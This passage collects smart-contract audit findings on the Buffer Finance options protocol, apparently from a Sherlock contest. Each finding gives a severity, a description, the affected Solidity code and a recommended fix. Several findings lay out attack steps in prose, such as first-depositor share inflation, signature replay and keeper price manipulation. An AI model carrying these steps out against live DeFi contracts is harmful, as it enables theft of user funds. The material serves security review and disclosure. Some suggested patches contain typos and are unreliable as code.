The pool already blocks deposit calls where no shares are minted. Thus, you're not able to steal other people's liquidity. But, you can still stop them from depositing unless they use a very large number of funds. Since the first liquidity provider is able to withdraw their tokens at some point in the future, the attacker only has the opportunity cost to worry about.

The actual amount needed to block a large number of users depends on the popularity of the protocol.

Impact

Liquidity providers with a small amount of liquidity won't be able to deposit their tokens.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L216-L250

    function _provide(
        uint256 tokenXAmount,
        uint256 minMint,
        address account
    ) internal returns (uint256 mint) {
        uint256 supply = totalSupply();
        uint256 balance = totalTokenXBalance();

        require(
            balance + tokenXAmount <= maxLiquidity,
            "Pool has already reached it's max limit"
        );

        if (supply > 0 && balance > 0)
            mint = (tokenXAmount * supply) / (balance);
        else mint = tokenXAmount * INITIAL_RATE;

        require(mint >= minMint, "Pool: Mint limit is too large");
        require(mint > 0, "Pool: Amount is too small");

        bool success = tokenX.transferFrom(
            account,
            address(this),
            tokenXAmount
        );
        require(success, "Pool: The Provide transfer didn't go through");

        _mint(account, mint);

        LockedAmount memory amountLocked = LockedAmount(block.timestamp, mint);
        liquidityPerUser[account].lockedAmounts.push(amountLocked);
        _updateLiquidity(account);

        emit Provide(account, tokenXAmount, mint);
    }

Tool used

Manual Review

Recommendation

Uniswap had the same issue with their V2 contracts. They solved it by sending the first 1000 shares to the zero address: https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L121

Duplicate of #81

sorrynotsorry - MAX_WAIT_TIME is short that might endanger the service ability of the protocol

sorrynotsorry

high

MAX_WAIT_TIME is short that might endanger the service ability of the protocol

Summary

MAX_WAIT_TIME is short enough to cancel the queued trades in case of network congestion and network down times.

Vulnerability Detail

resolveQueuedTrades function validates the queued trades and they're either opened or canceled due to validation.
One validation is (block.timestamp - queuedTrade.queuedTime <= MAX_WAIT_TIME)
If this validation pass, the queued trades are opened via _openQueuedTrade
But, if the ETH network is congested and there is surging in block production, the queued trades that are pending to be resolved might be cancelled since the MAX_WAIT_TIME variable is set to 1 minute.

Impact

Since the congested network occurs due to large price fluctuations in the market, such as a sudden price fall where everybody wants to sell their assets or a bright price jump where everybody wants to be a buyer, the traders would like to utilize these moments by the options. But it might not be available to create one due to MAX_WAIT_TIME. So the protocol might not be serving the traders when actually needed in the correct time.

Loss of funds due to double gas payment.
The users will have to call initiateTrade again.
The users will have queueID's in userQueuedIds which are not opened and accounted.

Code Snippet

if (block.timestamp - queuedTrade.queuedTime <= MAX_WAIT_TIME) {
    _openQueuedTrade(currentParams.queueId, currentParams.price);
} else {
    _cancelQueuedTrade(currentParams.queueId);

Permalink

uint16 MAX_WAIT_TIME = 1 minutes;

Permalink

Tool used

Manual Review

Recommendation

Consider increasing the MAX_WAIT_TIME.

m_Rassska - Unchecked return value for `transferFrom()`

m_Rassska

unlabeled

Unchecked return value for transferFrom()

Summary

  • Unchecked return value for transferFrom() call

Vulnerability Detail

  • In BufferRouter.sol there is a function initiateTrader() for option creation purposes. During the execution the optionsContract.tokenX() supposed to receive some fees, however the transferFrom() for some tokens returns bool instead of reverting. Since the returned value is not checked, this lead to undesired behavior.

Impact

  • The user can pass the option into the queue without sending fees.

Code Snippet

  •   function initiateTrade(
          uint256 totalFee,
          uint256 period,
          bool isAbove,
          address targetContract,
          uint256 expectedStrike,
          uint256 slippage,
          bool allowPartialFill,
          string memory referralCode,
          uint256 traderNFTId
      ) external returns (uint256 queueId) {
          // Checks if the target contract has been registered
          require(
              contractRegistry[targetContract],
              "Router: Unauthorized contract"
          );
          IBufferBinaryOptions optionsContract = IBufferBinaryOptions(
              targetContract
          );
    
          optionsContract.runInitialChecks(slippage, period, totalFee);
    
          // Transfer the fee specified from the user to this contract.
          // User has to approve first inorder to execute this function
          IERC20(optionsContract.tokenX()).transferFrom(
              msg.sender,
              address(this),
              totalFee
          );
          queueId = nextQueueId;
          nextQueueId++;
    
          QueuedTrade memory queuedTrade = QueuedTrade(
              queueId,
              userQueueCount(msg.sender),
              msg.sender,
              totalFee,
              period,
              isAbove,
              targetContract,
              expectedStrike,
              slippage,
              allowPartialFill,
              block.timestamp,
              true,
              referralCode,
              traderNFTId
          );
    
          queuedTrades[queueId] = queuedTrade;
    
          userQueuedIds[msg.sender].push(queueId);
    
          emit InitiateTrade(msg.sender, queueId, block.timestamp);
      }

Tool used

  • Manual Review

Recommendation

  • Wrap transferFrom() around require statement to handle failures.

KingNFT - A suspicious keeper can set 'nextQueueIdToProcess' state variable to any value

KingNFT

medium

A suspicious keeper can set 'nextQueueIdToProcess' state variable to any value

Summary

There is no security check before changing 'nextQueueIdToProcess' state variable. A suspicious keeper can set it to any value, programs of other keepers working based the variable might be stuck.

Vulnerability Detail

A brief overview of 'resolveQueuedTrades()' function and the vulnerability.

function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
    _validateKeeper();
    for (uint32 index = 0; index < params.length; index++) {
        OpenTradeParams memory currentParams = params[index];
        QueuedTrade memory queuedTrade = queuedTrades[
            currentParams.queueId
        ];
        //...
        if (
            !queuedTrade.isQueued ||
            currentParams.timestamp != queuedTrade.queuedTime
        ) {
            // @audit continue rather than revert while encountering invalid trade
            continue;
        }

        // ...
    }

    // @audit take queueId from last array item, it could be any value
    nextQueueIdToProcess = params[params.length - 1].queueId + 1;
}

Impact

The logic of keeper program working based on 'nextQueueIdToProcess' might look like this

while (true) {
    nextId = router.nextQueueIdToProcess();
    queuedTrade = router.queuedTrades(nextId);
    if (queuedTrade.user != 0) {
        // get queued trades, collect signatures from publisher, submit data to chain and get reward
    } else {
        sleepForAWhile();
    }
}

A suspicious keeper can break the above program by always appending an invalid trade after valid trades.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L184

Tool used

Manual Review

Recommendation

function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
    // ...
    require(params[params.length - 1].user != address(0), "invalid params"); // @fix  check before changing
    if (params[params.length - 1].queueId + 1 > nextQueueIdToProcess) { // @fix  ensure increasing only
        nextQueueIdToProcess = params[params.length - 1].queueId + 1;
    }
}

Duplicate of #63

kaliberpoziomka - Keeper can resolve trade with prices from other trades

kaliberpoziomka

high

Keeper can resolve trade with prices from other trades


name: Audit item
about: These are the audit items that end up in the report
title: Keeper can resolve trade with prices from other trades
labels: High
assignees: kaliberpoziomka

Summary

Context: BufferRouter.sol
A malicious keeper can craft prams argument (to the function BufferRouter.sol::resolveQueuedTrades(...)) in such a way that the trade may be resolved with the price of the other trade initialized in the same block.

Vulnerability Detail

Provided argument params is a list of objects OpenTradeParams. The publisher role provides those objects, signing them before. The signed data from OpenTradeParams object is: timestamp, asset, and price. However, the OpenTradeParams.queueId is not included in the signed message. This allows the malicious keeper to provide the OpenTradeParams object with queueId not corresponding to the rest of the data (timestamp, asset, and price), since it is not included in signed data.
After the signature verification the function resolveQueuedTrades(...) checks if the provided timestamp and the timestamp of trade stored in queuedTrades array under the queueId match. Since creation time must much, malicious keeper may only provide wrong price from another trade that was created in the same block.
At the end the function _openQueuedTrade(...) is called, with provided queueId and price.
Note that the incorrect price must fit in the slippage range checked later.

Impact

A malicious keeper can resolve trades with prices that were not provided by the user, which may lead to executing trade not expected by the trade maker.

Code Snippet

https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferRouter.sol#L136-L185

function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
      _validateKeeper();
      for (uint32 index = 0; index < params.length; index++) {
          OpenTradeParams memory currentParams = params[index];
          QueuedTrade memory queuedTrade = queuedTrades[
              currentParams.queueId
          ];
          bool isSignerVerifed = _validateSigner(
              currentParams.timestamp,
              currentParams.asset,
              currentParams.price,
              currentParams.signature
          );
          // Silently fail if the signature doesn't match
          if (!isSignerVerifed) {
              emit FailResolve(
                  currentParams.queueId,
                  "Router: Signature didn't match"
              );
              continue;
          }
          if (
              !queuedTrade.isQueued ||
              currentParams.timestamp != queuedTrade.queuedTime
          ) {
              // Trade has already been opened or cancelled or the timestamp is wrong.
              // So ignore this trade.
              continue;
          }

          // If the opening time is much greater than the queue time then cancel the trade
          if (block.timestamp - queuedTrade.queuedTime <= MAX_WAIT_TIME) {
              _openQueuedTrade(currentParams.queueId, currentParams.price);
          } else {
              _cancelQueuedTrade(currentParams.queueId);
              emit CancelTrade(
                  queuedTrade.user,
                  currentParams.queueId,
                  "Wait time too high"
              );
          }

          // Track the next queueIndex to be processed for user
          userNextQueueIndexToProcess[queuedTrade.user] =
              queuedTrade.userQueueIndex +
              1;
      }
      // Track the next queueIndex to be processed overall
      nextQueueIdToProcess = params[params.length - 1].queueId + 1;
  }

Tool used

Manual Review

Recommendation

Consider including the queueId into the message digest signed by the publisher.

Duplicate of #85

gandu - Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors

gandu

unlabeled

Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors

Summary

  • When totalSupply is zero an attacker goes ahead and executes the following steps
    • 1.The attacker calls provide function of bufferBinnerPool Contract with 1 Wei underlying tokens(tokenX) to mint LPToken(BLP)
    • 2.They will get 1wei of the underlying token amount of LPToken(BLP)
    • 3.They transfer z underlying tokens directly to bufferBinnerPool contract address.
      - This leads to 1 wei of LPToken(BLP) worth z (+ some small amount)
      • Attacker won't have any problem making this z as big as possible as they have all the claim to it as a holder of 1 Wei of LPToken(BLP)

Vulnerability Detail

  • This attack has two implications
    • 1.The first deposit can be front run and stolen
      • Let's assume there is a first user trying to mint some LPToken(BLP) using their k*z underlying tokens
      • An attacker can see this transaction and carry out the above-described attack making sure that k<1.
      • This leads to the first depositor getting zero LPToken(BLP) for their k*z underlying tokens. All the tokens are redeemable by the attacker using their 1 wei of LPToken.
    • 2.Implicit minimum Amount and funds lost due to rounding errors
      • If an attacker is successful in making 1 wei of LPToken(BLP) worth z underlying tokens and a user tries to mint LPToken(BLP) using k* z underlying tokens then,
        • If k<1, then the user gets zero LPToken(BLP) and all of their underlying tokens get proportionally divided between LPToken(BLP) holders
          • This leads to an implicit minimum amount for a user at the attacker's discretion.
        • If k>1, then users still get some LPToken(BLP) but they lose (k- floor(k)) * z) of underlying tokens which get proportionally divided between LPToken(BLP) holders due to rounding errors.
      • This means that for users to not lose value, they have to make sure that k is an integer.

Main Reason:

Calculating the totalTokenXBalance() variable using a balance(address(this)) while minting token, so the amount attacker will transfer is also calculated. And totalTokenXBalance() function is the denominator in the mint variable.

Maths:

here BalanceOF(address(this)) == X + 1Wei now mint token will be :

  • amount/BalanceOF(address(this)
  • = Y/(X+1wei) (here denominator is greater than numerator ) = 0.something
  • = 0 (solidity round of math)

Impact

  • this leads to the infinity amount of the user funds lost. also BufferBinaryPool contract is pool contract so that impecting other upcoming pool too.

Recommendation

I like how BalancerV2 and UniswapV2 do it. some minimum amount of pool tokens get burnt when the first mint happens.

supernova - Use Change in balance for accounting , to safeguard from Fee On Transfer Tokens

supernova

medium

Use Change in balance for accounting , to safeguard from Fee On Transfer Tokens

Summary

If tokenX is FeeOnTransfer token, then it will lead to guaranteed exploit/MEV.

Vulnerability Detail

Some tokens have fee on Transfer enabled, and many can do so in future. Therefore, change in balance as a method of accounting is recommended due to such cases.

Impact

Less input , and more output . Leading to exploit

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L236-L238

Tool used

Manual Review

Recommendation

Use Change in balance as a form of accounting

Duplicate of #76

jonatascm - Misleading configuration could lead to DoS in `initiateTrade`

jonatascm

low

Misleading configuration could lead to DoS in initiateTrade

Summary

A misconfiguration of minPeriod and maxPeriod in the OptionsConfig contract can lead to DoS the initiateTrade function.

Vulnerability Detail

If by mistake the owner of the OptionsConfig contract set a minPeriod greater than maxPeriod, all users will be unable to initiate a new trade

Impact

The users will be blocked for some time until the owner set the correct values of minPeriod and maxPeriod

Code Snippet

OptionsConfig.sol#L67-L83

function setMaxPeriod(uint32 value) external onlyOwner {
  require(
    value >= 1 minutes,
    "MaxPeriod needs to be greater than 1 minutes"
  );
  maxPeriod = value;
  emit UpdateMaxPeriod(value);
}

function setMinPeriod(uint32 value) external onlyOwner {
  require(
    value >= 1 minutes,
    "MinPeriod needs to be greater than 1 minutes"
  );
  minPeriod = value;
  emit UpdateMinPeriod(value);
}

Tool used

Manual Review

Recommendation

This issue can be fixed by checking if maxPeriod is greater than minPeriod, in each set period functions.

KingNFT - The 'initiateTrade()' function would not work for fee-on-transfer token

KingNFT

medium

The 'initiateTrade()' function would not work for fee-on-transfer token

Summary

The 'initiateTrade()' function doesn't check if the actual received token is equal to the value specified by user. While the token is a fee-on-transfer token, it would not work properly.

Vulnerability Detail

The overview of 'initiateTrade()' function and audit details

function initiateTrade(
    uint256 totalFee,
    // ...
) external returns (uint256 queueId) {
    // ...
    IERC20(optionsContract.tokenX()).transferFrom(
        msg.sender,
        address(this),
        totalFee // @audit for fee-on-transfer token, the actual received token would be less than 'totalFee'
    );
    // ...

    QueuedTrade memory queuedTrade = QueuedTrade(
        queueId,
        userQueueCount(msg.sender),
        msg.sender,
        totalFee, // @audit should replace with the actual received token
        period,
        isAbove,
        targetContract,
        expectedStrike,
        slippage,
        allowPartialFill,
        block.timestamp,
        true,
        referralCode,
        traderNFTId
    );

    // ...
}

Impact

The order would not be able to be cancelled due to no enough balance in router contract.

    function _cancelQueuedTrade(uint256 queueId) internal {
        // ...
        queuedTrade.isQueued = false;
        IERC20(optionsContract.tokenX()).transfer(
            queuedTrade.user,
            queuedTrade.totalFee // @audit the balance may be less than 'totalFee '
        );

        // ...
    }

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L86-L90

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L98

Tool used

Manual Review

Recommendation

Use the actual received token for trade

function initiateTrade(
    uint256 totalFee,
    // ...
) external returns (uint256 queueId) {
    // ...
    uint256 balanceBefore = IERC20(optionsContract.tokenX()).balnaceOf(addres(this)); // @fix
    IERC20(optionsContract.tokenX()).transferFrom(
        msg.sender,
        address(this),
        totalFee
    );
    uint256 balanceAfter = IERC20(optionsContract.tokenX()).balnaceOf(addres(this)); // @fix
    uint256 receivedToken = balanceAfter - balanceBefore; // @fix
    // ...

    QueuedTrade memory queuedTrade = QueuedTrade(
        queueId,
        userQueueCount(msg.sender),
        msg.sender,
        receivedToken, // @fix
        period,
        isAbove,
        targetContract,
        expectedStrike,
        slippage,
        allowPartialFill,
        block.timestamp,
        true,
        referralCode,
        traderNFTId
    );

    // ...
}

Duplicate of #76

peanuts - Unsafe usage of ERC20 .transfer

peanuts

medium

Unsafe usage of ERC20 .transfer

Summary

Some .transfer checks in the contract are not checked for success. In other words, transfer may fail but function will still continue to work.

Vulnerability Detail

Some .transfer functions used do not check for success.

Impact

Fees may not be transferred correctly into and out of the protocol, resulting in protocol / user losses

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L141

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L477

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L331

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L335

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L361

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L86

Tool used

Manual Review

Recommendation

Use OpenZeppellin's safe transfer or check the validity of every transfer such as the one used in BufferBinaryPool.sol

    bool success = tokenX.transfer(to, transferTokenXAmount);
    require(success, "Pool: The Payout transfer didn't go through");

Duplicate of #73

peanuts - First index for optionId is wrongly assigned in createFromRouter()

peanuts

high

First index for optionId is wrongly assigned in createFromRouter()

Summary

Wrong callibration of optionId leads to router failing to write any option.

Vulnerability Detail

When a user creates an option using createFromRouter() in BufferBinaryOptions, the optionId is assigned. The optionId for the first option contract will be 1 because of the call to _generateTokenId() will increment the optionId by 1 immediately

function _generateTokenId() internal returns (uint256) {
    return nextTokenId++;
}

The optionId is then passed as a param in createFromRouter() and used in the function lock. The lock function in BufferBinaryPool checks if id == lockedLiquidity[msg.sender].length, before pushing the struct LockedLiquidity(x,y,z) into the mapping lockedLiquidity. If no options have been written yet, the lockedLiquidity[msg.sender] length should be 0, but id will start with 1.

    require(id == lockedLiquidity[msg.sender].length, "Pool: Wrong id");

Since 1 != 0, the require check fails and the function reverts.

Impact

No options can be created due to requirement check failure.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L123-L142

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L149-L154

Tool used

Manual Review, Remix IDE

Recommendation

Make sure the optionId and lockedLiquidity.length is the same for every user.

supernova - No helper function to change lockedPeriod in future.

supernova

medium

No helper function to change lockedPeriod in future.

Summary

There is no helper function to change the current lockedPeriod of 10 minutes to another value in the future.

Vulnerability Detail

No way to change locked Period in future. As the variable is not defined as constant, the admin must be wanting to change it in the future.

Impact

Restraining the protocol 's ability to change the locked Time is a handicap.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L23

Tool used

Manual Review

Recommendation

Add a helper function with Admin control , to allow changing the lockedPeriod , with certain timelock to allow users to decide whether to continue invest or not .

0xcc - Token transfers do not verify that the tokens were successfully transferred

0xcc

medium

Token transfers do not verify that the tokens were successfully transferred

Summary

Some ERC20 tokens don’t throw but just return false when a transfer fails.

Vulnerability Detail

Some tokens (like zrx) do not revert the transaction when the transfer/transferfrom fails and return false, which requires us to check the return value after calling the transfer/transferfrom function.

Impact

This can be abused to trick the initiateTrade() function to initialize the trade without providing any tokens.

Code Snippet

https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferRouter.sol#L86

Tool used

Manual Review

Recommendation

Use SafeERC20’s safeTransfer/safeTransferFrom functions

Duplicate of #73

ctf_sec - BufferBinaryPool.sol#_beforeTokenTransfer does not handle address(to) == address(0) when burning the pool token.

ctf_sec

medium

BufferBinaryPool.sol#_beforeTokenTransfer does not handle address(to) == address(0) when burning the pool token.

Summary

BufferBinaryPool.sol#_beforeTokenTransfer does not handle address(to) == 0

Vulnerability Detail

When the token is transferred, the _beforeTokenTransfer hood is called. but the function does handle the case when address(to) == address(0)

  function _beforeTokenTransfer(
      address from,
      address to,
      uint256 value
  ) internal override {
      if (!isHandler[from] && !isHandler[to] && from != address(0)) {
          _updateLiquidity(from);
          require(
              liquidityPerUser[from].unlockedAmount >= value,
              "Pool: Transfer of funds in lock in period is blocked"
          );
          liquidityPerUser[from].unlockedAmount -= value;
          liquidityPerUser[to].unlockedAmount += value;
      }
  }

Impact

when the token is burned, the address(from) user lose the unlockedAmount and this unlockedAmount is falsely creditted to address(0)

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L337-L353

Tool used

Manual Review

Recommendation

We recommend the project handle the case when address(to) == address(0) when the pool token is burned.

  function _beforeTokenTransfer(
      address from,
      address to,
      uint256 value
  ) internal override {
      if (!isHandler[from] && !isHandler[to] && from != address(0)) {
          _updateLiquidity(from);
          require(
              liquidityPerUser[from].unlockedAmount >= value,
              "Pool: Transfer of funds in lock in period is blocked"
          );
          liquidityPerUser[from].unlockedAmount -= value;
	  if(to != address(0) {
	     liquidityPerUser[to].unlockedAmount += value;
          }
      }
  }

KingNFT - Calculation of 'rebate' parameter of 'UpdateReferral' event is not correct

KingNFT

medium

Calculation of 'rebate' parameter of 'UpdateReferral' event is not correct

Summary

Calculation of 'rebate' parameter of 'UpdateReferral' event is not correct.

Vulnerability Detail

Overview of related source code and audit

event UpdateReferral(
    address referrer,
    bool isReferralValid,
    uint256 totalFee,
    uint256 referrerFee,
    uint256 rebate,
    string referralCode
);

function _processReferralRebate(
    address user,
    uint256 totalFee,
    uint256 amount,
    string calldata referralCode,
    bool isAbove,
    bool isReferralValid
) internal returns (uint256 referrerFee) {
    address referrer = referral.codeOwner(referralCode);

    if (referrer != user && referrer != address(0)) {
        referrerFee = ((totalFee *
            referral.referrerTierDiscount(
                referral.referrerTier(referrer)
            )) / (1e4 * 1e3));
        if (referrerFee > 0) {
            tokenX.transfer(referrer, referrerFee);

            (uint256 formerUnitFee, , ) = _fees(
                10**decimals(),
                _getbaseSettlementFeePercentage(isAbove)
            );
            emit UpdateReferral(
                referrer,
                isReferralValid,
                totalFee,
                referrerFee,
                ((formerUnitFee * amount) - totalFee), // @audit should be ((formerUnitFee * amount / 10**decimals()) - totalFee) 
                referralCode
            );
        }
    }
}

The correct fomula is

rebate = ((formerUnitFee * amount / 10**decimals()) - totalFee) 

Impact

dAPPs working based on the event would not work.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L488

Tool used

Manual Review

Recommendation

Replace with the correct fomula

rvierdiiev - Fee can be changed after trade was initiated

rvierdiiev

medium

Fee can be changed after trade was initiated

Summary

It's possible that between initiating a trade and creation option the fee will be changed by protocol. As result created trade with one fee can be executed with another fee.

Vulnerability Detail

BufferBinaryOptions.configure allows admin to change fees.
When user decides to initiate trade then he is supposing to pay fee at the moment of trade initiating.
But it's possible that during initiation trade and creating option by keeper the fee will be changed by admin. As result if fee was increased, user will get less reward then he expects in case of win.

Impact

User will pay more fees, however he expected to pay less.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L66-L82

Tool used

Manual Review

Recommendation

User can provide new variable like maxFeeAgreed to initiateTrade function where he provides the expected fee amount and in case if this fee is bigger here then the trade should be canceled.

0x4non - Use `_safeMint()` instead of `_mint()`

0x4non

medium

Use _safeMint() instead of _mint()

Summary

OpenZeppelin recommends the usage of _safeMint() instead of _mint(). If the recipient is a contract, safeMint() checks whether they can handle ERC721 tokens.

Vulnerability Detail

_mint will not check if the recipient knows how to handle the NFT. On the other hand, safeMint() checks whether they can handle ERC721 tokens.

Impact

If you use _mint and the contract recipient of the NFT its not prepared the NFT could be locked forever inside the contract.
Take in consideration that this might add a reentrancy issue, so add the nonReentrant modifier. You are importing the ReentrancyGuard but not using this modifier

Code Snippet

BufferBinaryOptions.sol#L126

Tool used

Manual Review

Recommendation

Change BufferBinaryOptions.sol#L126 and please, take in consideration that this might add a reentrancy issue, so add the nonReentrant modifier. You are importing the ReentrancyGuard but not using this modifier

diff --git a/contracts/contracts/core/BufferBinaryOptions.sol b/contracts/contracts/core/BufferBinaryOptions.sol
index b93e6f0..efba433 100644
--- a/contracts/contracts/core/BufferBinaryOptions.sol
+++ b/contracts/contracts/core/BufferBinaryOptions.sol
@@ -107,7 +107,7 @@ contract BufferBinaryOptions is
     function createFromRouter(
         OptionParams calldata optionParams,
         bool isReferralValid
-    ) external override onlyRole(ROUTER_ROLE) returns (uint256 optionID) {
+    ) external override onlyRole(ROUTER_ROLE) nonReentrant() returns (uint256 optionID) {
         Option memory option = Option(
             State.Active,
             optionParams.strike,
@@ -123,7 +123,7 @@ contract BufferBinaryOptions is
         optionID = _generateTokenId();
         userOptionIds[optionParams.user].push(optionID);
         options[optionID] = option;
-        _mint(optionParams.user, optionID);
+        _safeMint(optionParams.user, optionID);
 
         uint256 referrerFee = _processReferralRebate(
             optionParams.user,

rvierdiiev - BufferBinaryOptions.createFromRouter is not checking for pause

rvierdiiev

medium

BufferBinaryOptions.createFromRouter is not checking for pause

Summary

Because BufferBinaryOptions.createFromRouter is not checking for pause it's still possible to create new option after BufferBinaryOptions contract was paused.

Vulnerability Detail

Function BufferBinaryOptions.toggleCreation is created for pausing/unpausing contract.
When contract is paused that means that no new options should be created.
In BufferBinaryOptions.runInitialChecks there is check if contract is paused. If it is, then you can't initiateTrade.
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L275-L285

    function runInitialChecks(
        uint256 slippage,
        uint256 period,
        uint256 totalFee
    ) external view override {
        require(!isPaused, "O33");
        require(slippage <= 5e2, "O34"); // 5% is the max slippage a user can use
        require(period >= config.minPeriod(), "O21");
        require(period <= config.maxPeriod(), "O25");
        require(totalFee >= config.minFee(), "O35");
    }

BufferBinaryOptions.runInitialChecks is called by BufferRouter.initiateTrade. That means that if BufferBinaryOptions is paused then user can't initiate new trade.

But still there is a chance to create option when BufferBinaryOptions already paused.
Consider example.
1.User call BufferRouter.initiateTrade and queues his trade.
2.BufferBinaryOptions is paused.
3.BufferRouter.resolveQueuedTrades is called by keeper.
4.Because no more checks for pausing, option is created.

Impact

There is possibility to create option even if BufferBinaryOptions is paused

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Add pause check also to BufferBinaryOptions.createFromRouter function or to BufferBinaryOptions.isStrikeValid function.

ctf_sec - Nonce is missing: publisher's signature can be reused.

ctf_sec

medium

Nonce is missing: publisher's signature can be reused.

Summary

Nonce is missing: publisher's signature can be reused.

Vulnerability Detail

In BufferRouter.sol, after the a trade is queued, the keeper needs to call resolveQueueTrades.sol

The first step is validate the signer's signature.

bool isSignerVerifed = _validateSigner(
    currentParams.timestamp,
    currentParams.asset,
    currentParams.price,
    currentParams.signature
);
// Silently fail if the signature doesn't match
if (!isSignerVerifed) {
    emit FailResolve(
        currentParams.queueId,
        "Router: Signature didn't match"
    );
    continue;
}

which calls:

    function _validateSigner(
        uint256 timestamp,
        address asset,
        uint256 price,
        bytes memory signature
    ) internal view returns (bool) {
        bytes32 digest = ECDSA.toEthSignedMessageHash(
            keccak256(abi.encodePacked(timestamp, asset, price))
        );
        address recoveredSigner = ECDSA.recover(digest, signature);
        return recoveredSigner == publisher;
    }

We see that the nonce is missing when generating the signature. Another user can copy the signature generated by the publisher and reuse the signature to queue another trade.

same issue exists when unlockOptions is called by keeper when we are validating the signature.

    (, , , , , uint256 expiration, , , ) = optionsContract.options(
        params.optionId
    );

    bool isSignerVerifed = _validateSigner(
        params.expiryTimestamp,
        params.asset,
        params.priceAtExpiry,
        params.signature
    );

Impact

publisher's and keeper's signatures can be reused to launch a signature replay attack.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L143-L156

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L259-L272

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L196-L209

Tool used

Manual Review

Recommendation

We recommend the project add nonce to signature schema and increment the nonce each time to prevent signature replay.

m_Rassska - Unchecked return value for transferFrom() call

m_Rassska

unlabeled

Unchecked return value for transferFrom() call

Summary

  • Unchecked return value for transferFrom() call

Vulnerability Detail

  • In BufferRouter.sol there is a function initiateTrader() for option creation purposes. During the execution the optionsContract.tokenX() supposed to receive some fees, however the transferFrom() for some tokens returns bool instead of reverting. Since the returned value is not checked, this lead to undesired behavior.

Impact

  • The user can pass the option into the queue without sending fees.

Code Snippet

  •   function initiateTrade(
          uint256 totalFee,
          uint256 period,
          bool isAbove,
          address targetContract,
          uint256 expectedStrike,
          uint256 slippage,
          bool allowPartialFill,
          string memory referralCode,
          uint256 traderNFTId
      ) external returns (uint256 queueId) {
          // Checks if the target contract has been registered
          require(
              contractRegistry[targetContract],
              "Router: Unauthorized contract"
          );
          IBufferBinaryOptions optionsContract = IBufferBinaryOptions(
              targetContract
          );
    
          optionsContract.runInitialChecks(slippage, period, totalFee);
    
          // Transfer the fee specified from the user to this contract.
          // User has to approve first inorder to execute this function
          IERC20(optionsContract.tokenX()).transferFrom(
              msg.sender,
              address(this),
              totalFee
          );
          queueId = nextQueueId;
          nextQueueId++;
    
          QueuedTrade memory queuedTrade = QueuedTrade(
              queueId,
              userQueueCount(msg.sender),
              msg.sender,
              totalFee,
              period,
              isAbove,
              targetContract,
              expectedStrike,
              slippage,
              allowPartialFill,
              block.timestamp,
              true,
              referralCode,
              traderNFTId
          );
    
          queuedTrades[queueId] = queuedTrade;
    
          userQueuedIds[msg.sender].push(queueId);
    
          emit InitiateTrade(msg.sender, queueId, block.timestamp);
      }

Tool used

  • Manual Review

Recommendation

  • Wrap transferFrom() around require statement to handle failures.

sorrynotsorry - ERC165 interface compatibility check bug

sorrynotsorry

high

ERC165 interface compatibility check bug

Summary

The codebase uses [email protected] package which has ERC165 interface compatibility check bug.

Vulnerability Detail

ERC165Checker is a library used to query support of an interface declared via IERC165.

ERC165Checker.supportsInterface which is under is designed to always successfully return a boolean, and under no circumstance revert. However, an incorrect assumption about Solidity 0.8's abi.decode allows some cases to revert, given a target contract that doesn't implement EIP-165 as expected, specifically if it returns a value other than 0 or 1.

Reference

Impact

ERC165 interface check may revert instead of returning false.
The contracts that may be affected are those that use ERC165Checker to check for support for an interface and then handle the lack of support in a way other than reverting.

Code Snippet

function supportsInterface(bytes4 interfaceId)
    public
    view
    override(ERC721, AccessControl)
    returns (bool)
{
    return super.supportsInterface(interfaceId);
    }

Permalink

Tool used

Manual Review

Recommendation

Upgrade @openzeppelin/contracts to version 4.7.1 or higher.

Duplicate of #129

ctf_sec - TokenX fee can be locked in BufferRouter.sol if trade processing fail sliently.

ctf_sec

medium

TokenX fee can be locked in BufferRouter.sol if trade processing fail sliently.

Summary

